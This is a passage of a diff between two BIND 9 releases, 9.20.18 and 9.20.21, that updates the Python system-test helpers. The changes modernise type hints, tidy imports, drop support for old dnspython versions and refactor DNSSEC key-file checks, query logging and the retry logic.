copyright ownership. -import collections.abc -from typing import List, Union from warnings import warn +import collections.abc + from hypothesis.strategies import ( binary, builds, @@ -27,7 +27,6 @@ ) import dns.name -import dns.message import dns.rdataclass import dns.rdatatype @@ -39,9 +38,7 @@ draw, *, prefix: dns.name.Name = dns.name.empty, - suffix: Union[ - dns.name.Name, collections.abc.Iterable[dns.name.Name] - ] = dns.name.root, + suffix: dns.name.Name | collections.abc.Iterable[dns.name.Name] = dns.name.root, min_labels: int = 1, max_labels: int = 128, ) -> dns.name.Name: @@ -143,13 +140,8 @@ RDATACLASS_MAX = RDATATYPE_MAX = 65535 -try: - dns_rdataclasses = builds(dns.rdataclass.RdataClass, integers(0, RDATACLASS_MAX)) - dns_rdatatypes = builds(dns.rdatatype.RdataType, integers(0, RDATATYPE_MAX)) -except AttributeError: - # In old dnspython versions, RDataTypes and RDataClasses are int and not enums. - dns_rdataclasses = integers(0, RDATACLASS_MAX) # type: ignore - dns_rdatatypes = integers(0, RDATATYPE_MAX) # type: ignore +dns_rdataclasses = builds(dns.rdataclass.RdataClass, integers(0, RDATACLASS_MAX)) +dns_rdatatypes = builds(dns.rdatatype.RdataType, integers(0, RDATATYPE_MAX)) dns_rdataclasses_without_meta = dns_rdataclasses.filter(dns.rdataclass.is_metaclass) # NOTE: This should really be `dns_rdatatypes_without_meta = dns_rdatatypes_without_meta.filter(dns.rdatatype.is_metatype()`, @@ -160,7 +152,7 @@ @composite def _partition_bytes_to_labels( draw, remaining_bytes: int, number_of_labels: int -) -> List[int]: +) -> list[int]: two_bytes_reserved_for_label = 2 # Reserve two bytes for each label diff -Nru bind9-9.20.18/bin/tests/system/isctest/instance.py bind9-9.20.21/bin/tests/system/isctest/instance.py --- bind9-9.20.18/bin/tests/system/isctest/instance.py 2026-01-09 13:39:28.099972663 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/instance.py 2026-03-13 22:01:10.634879488 +0000 @@ -11,18 +11,19 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import List, NamedTuple, Optional +from pathlib import Path +from typing import NamedTuple import os -from pathlib import Path import re -import dns.message +import dns.exception import dns.rcode +import dns.update -from .log import debug, WatchLogFromStart, WatchLogFromHere -from .run import CmdResult, EnvCmd, perl +from .log import WatchLogFromHere, WatchLogFromStart, debug from .query import udp +from .run import CmdResult, EnvCmd, perl from .text import TextFile @@ -53,8 +54,8 @@ def __init__( self, identifier: str, - num: Optional[int] = None, - ports: Optional[NamedPorts] = None, + num: int | None = None, + ports: NamedPorts | None = None, ) -> None: """ `identifier` is the name of the instance's directory @@ -94,7 +95,7 @@ return f"10.53.0.{self.num}" @staticmethod - def _identifier_to_num(identifier: str, num: Optional[int] = None) -> int: + def _identifier_to_num(identifier: str, num: int | None = None) -> int: regex_match = re.match(r"^ns(?P[0-9]{1,2})$", identifier) if not regex_match: if num is None: @@ -116,14 +117,11 @@ return self._rndc(command, timeout=timeout, **kwargs) def nsupdate( - self, update_msg: dns.message.Message, expected_rcode=dns.rcode.NOERROR + self, update_msg: dns.update.UpdateMessage, expected_rcode=dns.rcode.NOERROR ): """ Issue a dynamic update to a server's zone. """ - # FUTURE update_msg is actually dns.update.UpdateMessage, but it not - # typed properly here in order to support use of this module with - # dnspython<2.0.0 zone = str(update_msg.zone[0].name) # type: ignore[attr-defined] try: response = udp( @@ -169,7 +167,16 @@ watcher.wait_for_line("any newly configured zones are now loaded") return cmd - def stop(self, args: Optional[List[str]] = None) -> None: + def reload(self, **kwargs) -> CmdResult: + """ + Reload this named `instance` and wait until reload is finished. + """ + with self.watch_log_from_here() as watcher: + cmd = self.rndc("reload", **kwargs) + watcher.wait_for_line("all zones loaded") + return cmd + + def stop(self, args: list[str] | None = None) -> None: """Stop the instance.""" args = args or [] perl( @@ -177,7 +184,7 @@ [self.system_test_name, self.identifier] + args, ) - def start(self, args: Optional[List[str]] = None) -> None: + def start(self, args: list[str] | None = None) -> None: """Start the instance.""" args = args or [] perl( diff -Nru bind9-9.20.18/bin/tests/system/isctest/kasp.py bind9-9.20.21/bin/tests/system/isctest/kasp.py --- bind9-9.20.18/bin/tests/system/isctest/kasp.py 2026-01-09 13:39:28.099972663 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/kasp.py 2026-03-13 22:01:10.635879456 +0000 @@ -11,29 +11,33 @@ from datetime import datetime, timedelta, timezone from functools import total_ordering +from pathlib import Path +from re import compile as Re + import glob import os -from pathlib import Path import re -from re import compile as Re import time -from typing import Dict, List, Optional, Tuple, Union -import dns import dns.dnssec +import dns.exception +import dns.message +import dns.name +import dns.rcode +import dns.rdataclass import dns.rdatatype import dns.rrset import dns.tsig +import dns.zone +import dns.zonefile -import pytest +from isctest.instance import NamedInstance +from isctest.template import TrustAnchor +from isctest.vars.algorithms import ALL_ALGORITHMS_BY_NUM, Algorithm import isctest.log import isctest.query import isctest.util -from isctest.compat import DSDigest -from isctest.instance import NamedInstance -from isctest.template import TrustAnchor -from isctest.vars.algorithms import Algorithm, ALL_ALGORITHMS_BY_NUM DEFAULT_TTL = 300 @@ -87,24 +91,24 @@ sign_delay = config["signatures-validity"] - config["signatures-refresh"] safety_interval = config["retire-safety"] - iretKSK = timedelta(0) + iret_ksk = timedelta(0) if ksk: # KSK: Double-KSK Method: Iret = DprpP + TTLds - iretKSK = ( + iret_ksk = ( config["parent-propagation-delay"] + config["ds-ttl"] + safety_interval ) - iretZSK = timedelta(0) + iret_zsk = timedelta(0) if zsk: # ZSK: Pre-Publication Method: Iret = Dsgn + Dprp + TTLsig - iretZSK = ( + iret_zsk = ( sign_delay + config["zone-propagation-delay"] + config["max-zone-ttl"] + safety_interval ) - return max(iretKSK, iretZSK) + return max(iret_ksk, iret_zsk) @total_ordering @@ -133,26 +137,26 @@ def __str__(self) -> str: return self.value.strftime(self.FORMAT) - def __add__(self, other: Union[timedelta, int]): + def __add__(self, other: timedelta | int): if isinstance(other, int): other = timedelta(seconds=other) result = KeyTimingMetadata.__new__(KeyTimingMetadata) result.value = self.value + other return result - def __sub__(self, other: Union[timedelta, int]): + def __sub__(self, other: timedelta | int): if isinstance(other, int): other = timedelta(seconds=other) result = KeyTimingMetadata.__new__(KeyTimingMetadata) result.value = self.value - other return result - def __iadd__(self, other: Union[timedelta, int]): + def __iadd__(self, other: timedelta | int): if isinstance(other, int): other = timedelta(seconds=other) self.value += other - def __isub__(self, other: Union[timedelta, int]): + def __isub__(self, other: timedelta | int): if isinstance(other, int): other = timedelta(seconds=other) self.value -= other @@ -179,7 +183,7 @@ self, name: str, metadata: dict, - timing: Dict[str, KeyTimingMetadata], + timing: dict[str, KeyTimingMetadata], private: bool = True, legacy: bool = False, role: str = "csk", @@ -187,7 +191,7 @@ flags: int = 257, keytag_min: int = 0, keytag_max: int = 65535, - offset: Union[timedelta, int] = 0, + offset: timedelta | int = 0, ): self.name = name self.key = None @@ -218,7 +222,7 @@ "KSK": "yes", "ZSK": "yes", } - timing: Dict[str, KeyTimingMetadata] = {} + timing: dict[str, KeyTimingMetadata] = {} result = KeyProperties(name="DEFAULT", metadata=metadata, timing=timing) result.name = "DEFAULT" @@ -325,7 +329,7 @@ operations for KASP tests. """ - def __init__(self, name: str, keydir: Optional[Union[str, Path]] = None): + def __init__(self, name: str, keydir: str | Path | None = None): self.name = name if keydir is None: self.keydir = Path() @@ -340,7 +344,7 @@ def get_timing( self, metadata: str, must_exist: bool = True - ) -> Optional[KeyTimingMetadata]: + ) -> KeyTimingMetadata | None: regex = rf";\s+{metadata}:\s+(\d+).*" with open(self.keyfile, "r", encoding="utf-8") as file: for line in file: @@ -380,7 +384,7 @@ def get_signing_state( self, offline_ksk=False, zsk_missing=False, smooth=False - ) -> Tuple[bool, bool]: + ) -> tuple[bool, bool]: """ This returns the signing state derived from the key states, KRRSIGState and ZRRSIGState. @@ -444,7 +448,6 @@ @property def dnskey(self) -> dns.rrset.RRset: - pytest.importorskip("dns", minversion="2.2.0") # dns.zonefile.read_rrsets with open(self.keyfile, "r", encoding="utf-8") as file: rrsets = dns.zonefile.read_rrsets( file.read(), @@ -459,7 +462,7 @@ ), f"DNSKEY not found in {self.keyfile}" return dnskey_rr - def into_ta(self, ta_type: str, dsdigest=DSDigest.SHA256) -> TrustAnchor: + def into_ta(self, ta_type: str, dsdigest=dns.dnssec.DSDigest.SHA256) -> TrustAnchor: dnskey = self.dnskey if ta_type in ["static-ds", "initial-ds"]: ds = dns.dnssec.make_ds(dnskey.name, dnskey[0], dsdigest) @@ -579,14 +582,10 @@ isctest.log.debug(f"{self.name} {key} TIMING UNEXPECTED: {value}") return value == "undefined" - def match_properties(self, zone, properties): + def _check_public_key_file(self, zone, properties): """ - Check the key with given properties. + Check the public key file. """ - # Check file existence. - # Noop. If file is missing then the get_metadata calls will fail. - - # Check the public key file. role = properties.role_full() comment = f"This is a {role} key, keyid {self.tag}, for {zone}." if not isctest.util.file_contents_contain(self.keyfile, comment): @@ -601,31 +600,45 @@ isctest.log.debug(f"{self.name} DNSKEY MISMATCH: expected '{dnskey}'") return False - # Now check the private key file. - if properties.private: - # Retrieve creation date. - created = self.get_metadata("Generated") + return True + + def _check_private_key_file(self, properties): + """ + Check the private key file. + """ + if not properties.private: + return True - pval = self.get_metadata("Created", file=self.privatefile) - if pval != created: - isctest.log.debug( - f"{self.name} Created METADATA MISMATCH: {pval} - {created}" - ) - return False - pval = self.get_metadata("Private-key-format", file=self.privatefile) - if pval != "v1.3": - isctest.log.debug( - f"{self.name} Private-key-format METADATA MISMATCH: {pval} - v1.3" - ) - return False - pval = self.get_metadata("Algorithm", file=self.privatefile) - if pval != f"{alg}": - isctest.log.debug( - f"{self.name} Algorithm METADATA MISMATCH: {pval} - {alg}" - ) - return False + alg = properties.metadata["Algorithm"] + + # Retrieve creation date. + created = self.get_metadata("Generated") - # Now check the key state file. + pval = self.get_metadata("Created", file=self.privatefile) + if pval != created: + isctest.log.debug( + f"{self.name} Created METADATA MISMATCH: {pval} - {created}" + ) + return False + pval = self.get_metadata("Private-key-format", file=self.privatefile) + if pval != "v1.3": + isctest.log.debug( + f"{self.name} Private-key-format METADATA MISMATCH: {pval} - v1.3" + ) + return False + pval = self.get_metadata("Algorithm", file=self.privatefile) + if pval != f"{alg}": + isctest.log.debug( + f"{self.name} Algorithm METADATA MISMATCH: {pval} - {alg}" + ) + return False + + return True + + def _check_key_state_file(self, zone, properties): + """ + Check the key state file. + """ if properties.legacy: return True @@ -656,7 +669,24 @@ if self.tag > properties.keytag_max: return False - # A match is found. + return True + + def match_properties(self, zone, properties): + """ + Check the key with given properties. + """ + # Check file existence. + # Noop. If file is missing then the get_metadata calls will fail. + + if not self._check_public_key_file(zone, properties): + return False + + if not self._check_private_key_file(properties): + return False + + if not self._check_key_state_file(zone, properties): + return False + return True def match_timingmetadata(self, timings, file=None, comment=False): @@ -1478,8 +1508,8 @@ def keydir_to_keylist( - zone: Optional[str], keydir: Optional[str] = None, in_use: bool = False -) -> List[Key]: + zone: str | None, keydir: str | None = None, in_use: bool = False +) -> list[Key]: """ Retrieve all keys from the key files in a directory. If 'zone' is None, retrieve all keys in the directory, otherwise only those matching the @@ -1519,11 +1549,11 @@ return [k for k in all_keys if used(k)] -def keystr_to_keylist(keystr: str, keydir: Optional[str] = None) -> List[Key]: +def keystr_to_keylist(keystr: str, keydir: str | None = None) -> list[Key]: return [Key(name, keydir) for name in keystr.split()] -def policy_to_properties(ttl, keys: List[str]) -> List[KeyProperties]: +def policy_to_properties(ttl, keys: list[str]) -> list[KeyProperties]: """ Get the policies from a list of specially formatted strings. The splitted line should result in the following items: @@ -1545,8 +1575,8 @@ line = key.split() # defaults - metadata: Dict[str, Union[str, int]] = {} - timing: Dict[str, KeyTimingMetadata] = {} + metadata: dict[str, str | int] = {} + timing: dict[str, KeyTimingMetadata] = {} private = True legacy = False keytag_min = 0 diff -Nru bind9-9.20.18/bin/tests/system/isctest/log/__init__.py bind9-9.20.21/bin/tests/system/isctest/log/__init__.py --- bind9-9.20.18/bin/tests/system/isctest/log/__init__.py 2026-01-09 13:39:28.099972663 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/log/__init__.py 2026-03-13 22:01:10.635879456 +0000 @@ -11,16 +11,31 @@ from .basic import ( avoid_duplicated_logs, + critical, + debug, deinit_module_logger, deinit_test_logger, + error, + info, init_conftest_logger, init_module_logger, init_test_logger, - debug, - info, warning, - error, - critical, ) +from .watchlog import WatchLogFromHere, WatchLogFromStart -from .watchlog import WatchLogFromStart, WatchLogFromHere +__all__ = [ + "WatchLogFromHere", + "WatchLogFromStart", + "avoid_duplicated_logs", + "critical", + "debug", + "deinit_module_logger", + "deinit_test_logger", + "error", + "info", + "init_conftest_logger", + "init_module_logger", + "init_test_logger", + "warning", +] diff -Nru bind9-9.20.18/bin/tests/system/isctest/log/basic.py bind9-9.20.21/bin/tests/system/isctest/log/basic.py --- bind9-9.20.18/bin/tests/system/isctest/log/basic.py 2026-01-09 13:39:28.099972663 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/log/basic.py 2026-03-13 22:01:10.635879456 +0000 @@ -9,20 +9,19 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import logging from pathlib import Path -import textwrap -from typing import Dict, Optional +import logging +import textwrap LOG_FORMAT = "%(asctime)s %(levelname)7s:%(name)s %(message)s" LOG_INDENT = 4 -LOGGERS = { +LOGGERS: dict[str, logging.Logger | None] = { "conftest": None, "module": None, "test": None, -} # type: Dict[str, Optional[logging.Logger]] +} def init_conftest_logger(): diff -Nru bind9-9.20.18/bin/tests/system/isctest/log/watchlog.py bind9-9.20.21/bin/tests/system/isctest/log/watchlog.py --- bind9-9.20.18/bin/tests/system/isctest/log/watchlog.py 2026-01-09 13:39:28.099972663 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/log/watchlog.py 2026-03-13 22:01:10.635879456 +0000 @@ -9,17 +9,17 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import Any, List, Match, Optional, Pattern, TextIO, TypeVar, Union +from re import Match, Pattern +from typing import Any, TextIO, TypeAlias, TypeVar import abc import os import time -from isctest.text import compile_pattern, FlexPattern, LineReader - +from isctest.text import FlexPattern, LineReader, compile_pattern T = TypeVar("T") -OneOrMore = Union[T, List[T]] +OneOrMore: TypeAlias = T | list[T] class WatchLogException(Exception): @@ -63,8 +63,8 @@ ... isctest.log.watchlog.WatchLogException: timeout must be greater than 0 """ - self._fd: Optional[TextIO] = None - self._reader: Optional[LineReader] = None + self._fd: TextIO | None = None + self._reader: LineReader | None = None self._path = path self._wait_function_called = False if timeout <= 0.0: @@ -72,12 +72,12 @@ self._timeout = timeout self._deadline = 0.0 - def _setup_wait(self, patterns: OneOrMore[FlexPattern]) -> List[Pattern]: + def _setup_wait(self, patterns: OneOrMore[FlexPattern]) -> list[Pattern]: self._wait_function_called = True self._deadline = time.monotonic() + self._timeout return self._prepare_patterns(patterns) - def _prepare_patterns(self, strings: OneOrMore[FlexPattern]) -> List[Pattern]: + def _prepare_patterns(self, strings: OneOrMore[FlexPattern]) -> list[Pattern]: """ Convert a mix of string(s) and/or pattern(s) into a list of patterns. @@ -91,7 +91,7 @@ patterns.append(compile_pattern(string)) return patterns - def _wait_for_match(self, regexes: List[Pattern]) -> Match: + def _wait_for_match(self, regexes: list[Pattern]) -> Match: if not self._reader: raise WatchLogException( "use WatchLog as context manager before calling wait_for_*() functions" @@ -210,7 +210,7 @@ return self._wait_for_match(regexes) - def wait_for_sequence(self, patterns: List[FlexPattern]) -> List[Match]: + def wait_for_sequence(self, patterns: list[FlexPattern]) -> list[Match]: """ Block execution until the specified pattern sequence is found in the log file. @@ -286,7 +286,7 @@ return matches - def wait_for_all(self, patterns: List[FlexPattern]) -> List[Match]: + def wait_for_all(self, patterns: list[FlexPattern]) -> list[Match]: """ Block execution until all the specified patterns are found in the log file in any order. diff -Nru bind9-9.20.18/bin/tests/system/isctest/mark.py bind9-9.20.21/bin/tests/system/isctest/mark.py --- bind9-9.20.18/bin/tests/system/isctest/mark.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/mark.py 2026-03-13 22:01:10.635879456 +0000 @@ -11,11 +11,12 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import os from pathlib import Path + +import os import platform -import socket import shutil +import socket import subprocess import pytest @@ -43,6 +44,10 @@ return True +def is_host_freebsd(*_): + return platform.system() == "FreeBSD" + + def is_host_freebsd_13(*_): return platform.system() == "FreeBSD" and platform.release().startswith("13") diff -Nru bind9-9.20.18/bin/tests/system/isctest/name.py bind9-9.20.21/bin/tests/system/isctest/name.py --- bind9-9.20.18/bin/tests/system/isctest/name.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/name.py 2026-03-13 22:01:10.635879456 +0000 @@ -9,13 +9,13 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import Iterable, FrozenSet +from collections.abc import Iterable + +from dns.name import Name import dns.name -import dns.zone import dns.rdatatype - -from dns.name import Name +import dns.zone def prepend_label(label: str, name: Name) -> Name: @@ -26,7 +26,7 @@ return len(name) + sum(map(len, name.labels)) -def get_wildcard_names(names: Iterable[Name]) -> FrozenSet[Name]: +def get_wildcard_names(names: Iterable[Name]) -> frozenset[Name]: return frozenset(name for name in names if name.is_wild()) @@ -59,7 +59,6 @@ return cls(zonedb) def __init__(self, zone: dns.zone.Zone): - self._abort_on_old_dnspython() self.zone = zone assert self.zone.origin # mypy hack # based on individual nodes but not relationship between nodes @@ -85,15 +84,7 @@ .union(self.reachable_dnames) ) - def _abort_on_old_dnspython(self): - if not hasattr(dns.name, "NameRelation"): - raise RuntimeError( - "ZoneAnalyzer requires dnspython>=2.3.0 for dns.name.NameRelation support. " - "Use pytest.importorskip('dns', minversion='2.3.0') to the test module to " - "skip this test." - ) - - def get_names_with_type(self, rdtype) -> FrozenSet[Name]: + def get_names_with_type(self, rdtype) -> frozenset[Name]: return frozenset( name for name in self.zone if self.zone.get_rdataset(name, rdtype) ) @@ -157,7 +148,7 @@ self.reachable_delegations = frozenset(reachable_delegations) self.occluded = frozenset(occluded) - def generate_ents(self) -> FrozenSet[Name]: + def generate_ents(self) -> frozenset[Name]: """ Generate reachable names of empty nodes "between" all reachable names with a RR and the origin. diff -Nru bind9-9.20.18/bin/tests/system/isctest/query.py bind9-9.20.21/bin/tests/system/isctest/query.py --- bind9-9.20.18/bin/tests/system/isctest/query.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/query.py 2026-03-13 22:01:10.635879456 +0000 @@ -9,15 +9,20 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from collections.abc import Callable +from typing import Any + import os import time -from typing import Any, Callable, Optional -import dns.query +import dns.exception +import dns.flags import dns.message +import dns.query +import dns.rcode +import dns.rdataclass import isctest.log -from isctest.compat import dns_rcode QUERY_TIMEOUT = 10 @@ -26,15 +31,35 @@ query_func: Callable[..., Any], message: dns.message.Message, ip: str, - port: Optional[int] = None, - source: Optional[str] = None, + port: int | None = None, + source: str | None = None, timeout: int = QUERY_TIMEOUT, attempts: int = 10, - expected_rcode: dns_rcode = None, + expected_rcode: dns.rcode.Rcode | None = None, verify: bool = False, log_query: bool = True, log_response: bool = True, ) -> Any: + + def log_querymsg(exception: Exception | None = None) -> None: + """ + Helper for logging query message. Call this *after* query_func() has + been called, as it may modify the message, e.g. with a TSIG. + + If an exception is provided, it will be logged as well. + """ + nonlocal log_query + if log_query: + isctest.log.debug( + f"isc.query.{query_func.__name__}(): query\n{message.to_text()}" + ) + log_query = False # only log query once + + if exception: + isctest.log.debug( + f"isc.query.{query_func.__name__}(): the '{exception}' exception raised" + ) + if port is None: if query_func.__name__ == "tls": port = int(os.environ["TLSPORT"]) @@ -52,34 +77,36 @@ query_args["verify"] = verify res = None + for attempt in range(attempts): log_msg = ( f"isc.query.{query_func.__name__}(): ip={ip}, port={port}, source={source}, " f"timeout={timeout}, attempts left={attempts-attempt}" ) - if log_query: - log_msg += f"\n{message.to_text()}" - log_query = False # only log query on first attempt isctest.log.debug(log_msg) + + exc = None try: res = query_func(**query_args) except (dns.exception.Timeout, ConnectionRefusedError) as e: - isctest.log.debug( - f"isc.query.{query_func.__name__}(): the '{e}' exception raised" - ) - else: + exc = e + finally: + log_querymsg(exc) + + if res: if log_response: isctest.log.debug( f"isc.query.{query_func.__name__}(): response\n{res.to_text()}" ) if res.rcode() == expected_rcode or expected_rcode is None: return res + time.sleep(1) if expected_rcode is not None: - last_rcode = dns_rcode.to_text(res.rcode()) if res else None + last_rcode = dns.rcode.to_text(res.rcode()) if res else None isctest.log.debug( - f"isc.query.{query_func.__name__}(): expected rcode={dns_rcode.to_text(expected_rcode)}, last rcode={last_rcode}" + f"isc.query.{query_func.__name__}(): expected rcode={dns.rcode.to_text(expected_rcode)}, last rcode={last_rcode}" ) raise dns.exception.Timeout diff -Nru bind9-9.20.18/bin/tests/system/isctest/run.py bind9-9.20.21/bin/tests/system/isctest/run.py --- bind9-9.20.18/bin/tests/system/isctest/run.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/run.py 2026-03-13 22:01:10.635879456 +0000 @@ -9,11 +9,11 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import os from pathlib import Path + +import os import subprocess import time -from typing import List, Optional import isctest.log import isctest.text @@ -39,9 +39,9 @@ stderr=subprocess.PIPE, log_stdout=True, log_stderr=True, - input_text: Optional[bytes] = None, + input_text: bytes | None = None, raise_on_exception=True, - env: Optional[dict] = None, + env: dict | None = None, ) -> CmdResult: """Execute a command with given args as subprocess.""" isctest.log.debug(f"isctest.run.cmd(): {' '.join(args)}") @@ -97,7 +97,7 @@ def _run_script( interpreter: str, script: str, - args: Optional[List[str]] = None, + args: list[str] | None = None, ): if args is None: args = [] @@ -129,12 +129,12 @@ isctest.log.debug(" exited with %d", returncode) -def shell(script: str, args: Optional[List[str]] = None) -> None: +def shell(script: str, args: list[str] | None = None) -> None: """Run a given script with system's shell interpreter.""" _run_script(os.environ["SHELL"], script, args) -def perl(script: str, args: Optional[List[str]] = None) -> None: +def perl(script: str, args: list[str] | None = None) -> None: """Run a given script with system's perl interpreter.""" _run_script(os.environ["PERL"], script, args) @@ -142,13 +142,17 @@ def retry_with_timeout(func, timeout, delay=1, msg=None): start_time = time.monotonic() exc_msg = None + fname = f"{func.__module__}.{func.__qualname__}()" while time.monotonic() < start_time + timeout: exc_msg = None + isctest.log.debug(f"retry_with_timeout: {fname} called") try: if func(): + isctest.log.debug(f"retry_with_timeout: {fname} succeeded") return except AssertionError as exc: exc_msg = str(exc) + isctest.log.debug(f"retry_with_timeout: {fname} failed, sleep {delay}s") time.sleep(delay) if exc_msg is not None: isctest.log.error(exc_msg) @@ -156,7 +160,7 @@ if exc_msg is not None: msg = exc_msg else: - msg = f"{func.__module__}.{func.__qualname__} timed out after {timeout} s" + msg = f"{fname} timed out after {timeout} s" assert False, msg diff -Nru bind9-9.20.18/bin/tests/system/isctest/template.py bind9-9.20.21/bin/tests/system/isctest/template.py --- bind9-9.20.18/bin/tests/system/isctest/template.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/template.py 2026-03-13 22:01:10.635879456 +0000 @@ -13,7 +13,7 @@ from dataclasses import dataclass from pathlib import Path -from typing import Any, Dict, Optional, Union +from typing import Any import jinja2 @@ -26,7 +26,7 @@ Engine for rendering jinja2 templates in system test directories. """ - def __init__(self, directory: Union[str, Path], env_vars=ALL): + def __init__(self, directory: str | Path, env_vars=ALL): """ Initialize the template engine for `directory`, optionally overriding the `env_vars` that will be used when rendering the templates (defaults @@ -44,8 +44,8 @@ def render( self, output: str, - data: Optional[Dict[str, Any]] = None, - template: Optional[str] = None, + data: dict[str, Any] | None = None, + template: str | None = None, ) -> None: """ Render `output` file from jinja `template` and fill in the `data`. The @@ -69,7 +69,7 @@ stream = self.j2env.get_template(template).stream(data) stream.dump(output, encoding="utf-8") - def render_auto(self, data: Optional[Dict[str, Any]] = None): + def render_auto(self, data: dict[str, Any] | None = None): """ Render all *.j2 templates with default (and optionally the provided) values and write the output to files without the .j2 extensions. diff -Nru bind9-9.20.18/bin/tests/system/isctest/text.py bind9-9.20.21/bin/tests/system/isctest/text.py --- bind9-9.20.18/bin/tests/system/isctest/text.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/text.py 2026-03-13 22:01:10.636879424 +0000 @@ -11,13 +11,15 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import abc -import re +from collections.abc import Iterator +from re import Match, Pattern from re import compile as Re -from typing import Iterator, List, Match, Optional, Pattern, TextIO, Union +from typing import TextIO +import abc +import re -FlexPattern = Union[str, Pattern] +FlexPattern = str | Pattern def compile_pattern(string: FlexPattern) -> Pattern: @@ -48,7 +50,7 @@ if match: yield match - def grep(self, pattern: FlexPattern) -> List[Match]: + def grep(self, pattern: FlexPattern) -> list[Match]: """ Get list of lines matching the pattern. """ @@ -150,7 +152,7 @@ self._stream = stream self._linebuf = "" - def readline(self) -> Optional[str]: + def readline(self) -> str | None: """ Wrapper around io.readline() function to handle unfinished lines. diff -Nru bind9-9.20.18/bin/tests/system/isctest/util.py bind9-9.20.21/bin/tests/system/isctest/util.py --- bind9-9.20.18/bin/tests/system/isctest/util.py 2026-01-09 13:39:28.100972690 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/util.py 2026-03-13 22:01:10.636879424 +0000 @@ -9,6 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +import dns.rrset import dns.zone import pytest diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/__init__.py bind9-9.20.21/bin/tests/system/isctest/vars/__init__.py --- bind9-9.20.18/bin/tests/system/isctest/vars/__init__.py 2026-01-09 13:39:28.101972716 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/__init__.py 2026-03-13 22:01:10.636879424 +0000 @@ -11,19 +11,29 @@ import os -from .all import ALL -from .algorithms import init_crypto_supported, set_algorithm_set -from .features import init_features -from .openssl import parse_openssl_config from .. import log +from . import algorithms, autoconf, basic, dirs, features, openssl, ports +from .all import ALL + +__all__ = [ + "ALL", + "algorithms", + "autoconf", + "basic", + "dirs", + "features", + "init_vars", + "openssl", + "ports", +] def init_vars(): """Initializes the environment variables.""" - init_features() - init_crypto_supported() - set_algorithm_set(os.getenv("ALGORITHM_SET")) - parse_openssl_config(ALL["OPENSSL_CONF"]) + features.init_features() + algorithms.init_crypto_supported() + algorithms.set_algorithm_set(os.getenv("ALGORITHM_SET")) + openssl.parse_openssl_config(ALL["OPENSSL_CONF"]) os.environ.update(ALL) log.debug("setting following env vars: %s", ", ".join([str(key) for key in ALL])) diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/algorithms.py bind9-9.20.21/bin/tests/system/isctest/vars/algorithms.py --- bind9-9.20.18/bin/tests/system/isctest/vars/algorithms.py 2026-01-09 13:39:28.101972716 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/algorithms.py 2026-03-13 22:01:10.637879392 +0000 @@ -9,16 +9,17 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from typing import NamedTuple + import os import platform import random import subprocess import tempfile import time -from typing import Dict, List, NamedTuple, Optional, Union -from .basic import BASIC_VARS from .. import log +from .basic import BASIC_VARS # Algorithms are selected randomly at runtime from a list of supported # algorithms. The randomization is deterministic and remains stable for a @@ -56,18 +57,26 @@ number: int bits: int + @classmethod + def default(cls): + return cls( + os.environ["DEFAULT_ALGORITHM"], + int(os.environ["DEFAULT_ALGORITHM_NUMBER"]), + int(os.environ["DEFAULT_BITS"]), + ) + class AlgorithmSet(NamedTuple): """Collection of DEFAULT, ALTERNATIVE and DISABLED algorithms""" - default: Union[Algorithm, List[Algorithm]] + default: Algorithm | list[Algorithm] """DEFAULT is the algorithm for testing.""" - alternative: Union[Algorithm, List[Algorithm]] + alternative: Algorithm | list[Algorithm] """ALTERNATIVE is an alternative algorithm for test cases that require more than one algorithm (for example algorithm rollover).""" - disabled: Union[Algorithm, List[Algorithm]] + disabled: Algorithm | list[Algorithm] """DISABLED is an algorithm that is used for tests against the "disable-algorithms" configuration option.""" @@ -151,7 +160,7 @@ "ED448_SUPPORTED": "0", } -SUPPORTED_ALGORITHMS: List[Algorithm] = [] +SUPPORTED_ALGORITHMS: list[Algorithm] = [] def init_crypto_supported(): @@ -241,7 +250,7 @@ return AlgorithmSet(default, alternative, disabled) -def _algorithms_env(algs: AlgorithmSet, name: str) -> Dict[str, str]: +def _algorithms_env(algs: AlgorithmSet, name: str) -> dict[str, str]: """Return environment variables with selected algorithms as a dict.""" algs_env = { "ALGORITHM_SET": name, @@ -264,7 +273,7 @@ return algs_env -def set_algorithm_set(name: Optional[str]): +def set_algorithm_set(name: str | None): if name is None: name = "stable" assert name in ALGORITHM_SETS, f'ALGORITHM_SET "{name}" unknown' diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/all.py bind9-9.20.21/bin/tests/system/isctest/vars/all.py --- bind9-9.20.18/bin/tests/system/isctest/vars/all.py 2026-01-09 13:39:28.101972716 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/all.py 2026-03-13 22:01:10.637879392 +0000 @@ -11,11 +11,8 @@ from collections import ChainMap -# pylint: disable=import-error -from .autoconf import AC_VARS # type: ignore - -# pylint: enable=import-error from .algorithms import ALG_VARS, CRYPTO_SUPPORTED_VARS +from .autoconf import AC_VARS # type: ignore 